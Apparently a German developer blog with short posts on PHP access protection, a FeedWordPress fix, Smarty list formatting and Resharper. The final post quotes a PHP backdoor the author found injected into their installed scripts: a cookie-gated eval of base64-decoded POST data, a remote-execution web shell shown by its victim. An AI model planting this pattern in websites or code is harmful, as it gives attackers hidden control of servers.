PHP: Direktzugriff auf eine Datei unterbinden

Falls man den direkten Zugriff auf eine PHP-Datei unterbinden möchte (z.B. wo die Konfigurationen drin stehen), kann man folgenden Code nutzen:

if(basename($_SERVER["SCRIPT_FILENAME"]) == basename(__FILE__)) {
	header ("HTTP/1.1 404 Not Found");
	exit;
}

Man kann alternativ auf „HTTP/1.1 403 Forbidden“ senden, so wird dem Benutzer aber gleich vorgegaukelt, dass die Datei gar nicht existent sei.
In andere Scripte kann man die Datei dennoch ganz normal importieren, etwa per require().

Antwort auf meinen Bugreport

Vor ein paar Tagen berichtete ich von meinem Bugreport. Nun hat mir Charles Johnson eine Mail gesendet und sich für den Bugreport und auch noch für die Lösung bedankt und das dies Teil der nächsten Version sein wird. Aktuell wurde es bereits in die Developer-Version eingebaut 🙂

Dort steht nun in der Datei:

function syndication_permalink ($permalink = '') {
	global $feedwordpress_the_original_permalink;
	
	// Save the local permalink in case we need to retrieve it later.
	$feedwordpress_the_original_permalink = $permalink;

	// Map this permalink to a post ID so we can get the correct permalink
	// even outside of the Post Loop. Props Björn.
	$id = url_to_postid($permalink);

Ja Leute, nun werde ich berühmt 🙂

Möglichkeit einer Auflistung in Smarty

Wenn ihr z.B. ein Array in Smarty ausgeben wollt, welche durch ein Komma („,“) getrennt ist, dann bietet sich folgende Möglichkeit an:

{counter start="0" assign="tagCounter"}  
{foreach from=$tagList item=tag}
	{counter}
	<a href="search.php?tagID={$tag.id}">{$tag.name|capitalize}</a>{if $tagCounter < count($tagList)},{/if}
{/foreach}

Die erste Zeile initialisiert einen Counter, danach wird eine foreach-Schleife durchlaufen. Mit „{counter}“ wird der Zähler hochgezählt. Das „{if}“ am Ende prüft einfach ob noch Items vorhanden sind, wenn ja, einfach ein Komma ausgeben.

{foreach from=$tagList item=tag name=tagForeach}				
	<a href="search.php?tagID={$tag.id}">{$tag.name|capitalize}</a>{if !$smarty.foreach.tagForeach.last},{/if}
{/foreach}

Dank mahe gehts auch deutlich kürzer 😉

Sicherlich gibt es noch bessere Lösungen aber was besseres wollte mir spontan nicht einfallen. Eine fertige Smartyfunktion scheint es nicht zu geben!

Resharper

So, letzte Woche die WPF Schulung hinter mir gebracht. War sehr interessant, wenn auch sehr viel Input, da es eigentlich ein 3-Tage Kurs ist, er aber Aufgrund von zeitlichen Problemen auf 2 Tage gekürzt werden musste.
Also WPF betrachte ich jetzt mit anderen Augen, bin zwar noch nicht vollkommen überzeugt, stehe dem aber offener gegenüber. Und wenn Microsoft sich nicht ganz doof anstellt und das arbeiten mit WPF unter Visual Studio 2010 noch vereinfachter (z.B. ein schönere Intellisenseunterstützung), dann könnt das definitiv was werden.

Durch den Referendar Mathias Raacke (meiner Meinung nach ein sehr fähiger Referendar, sehr zu empfehlen und immer wieder gerne) bin ich auf Resharper gestoßen. Ich bin zwar schon vorher mal drüber gestolpert, aber der Preis hatte mich doch etwas abgeschreckt. Es bietet echte Vorteile und ist voll konfigurierbar. Ein absolutes Muss für jede VS Umgebung! Auf der Seite gibt es eine 30 Tage Testversion!

Ach ja nebenbei hab ich mal meinen Texteditor rausgeholt und mal wieder ein bischen PHP gemacht. Meine Idee nimmt langsam Formen an. Ach ja und Smarty (PHP Template Engine) ist gar nicht mal so schlecht, wie ich gut 5 Jahre gedacht habe. Manchmal ist dieser Drang, immer das Rad neu zu erfinden, nur um nicht auf Third-Party-Products zurückzugreifen, echt nervig!
(Würde ich auch gerne mal einem Kollegen klar machen!)

Merkwürdiger Code

Heute habe ich im PMA und im chCounter ähnliche Fehlermeldungen erhalten:

Notice: Undefined index: _wp_debugger in /……/gXXXXXn.lib.php on line 1

(hab jetzt mal nicht den kompletten Dateipfad gepostet, da ich nicht weiß ob das irgendein Hack ist)

Kurz angeschaut, was dort steht:

<?php if(md5($_COOKIE[‚_wp_debugger‘])==“xxxx“){ eval(base64_decode($_POST[‚file‘])); exit; } ?>

Dieser Code hat sich vor die erste Zeile geschoben! BITTE WAS?! Google konnte mir da auf die schnelle auch nicht helfen! Ob das mit dem WP Update zusammen hängt???
Wer ne Idee??